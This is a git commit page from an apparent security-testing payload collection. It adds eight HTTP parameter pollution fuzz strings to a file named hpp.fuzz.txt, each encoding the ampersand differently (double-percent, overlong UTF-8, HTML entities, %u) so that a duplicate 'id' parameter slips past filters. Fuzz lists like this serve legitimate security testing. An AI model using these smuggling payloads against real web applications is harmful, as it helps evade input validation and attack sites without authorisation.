Added deferent encoding techniques for the & character

infosec-au · Jul 4, 2014 · 36d74e2 · 36d74e2
1 parent 6b8f2f6
commit 36d74e2
Showing 1 changed file with 9 additions and 1 deletion.
diff --git a/attack-payloads/http-protocol/hpp.fuzz.txt b/attack-payloads/http-protocol/hpp.fuzz.txt
@@ -27,4 +27,12 @@
 ?id=/:@&=+$&id=2
 ?id[=/:@&=+$&id=2]=1
 ?id={id:{id:1},2}
-?id[{id:{id[]:1},2}]=3
+?id[{id:{id[]:1},2}]=3
+?id=%23?id=1
+?id=1%26id=2
+?id=1%2526id=2
+?id=1%c0%a6id=2
+?id=1\uc0a6id=2
+?id=1&amp;id=2
+?id=1&#38;id=2
+?id=1%u0026;id=2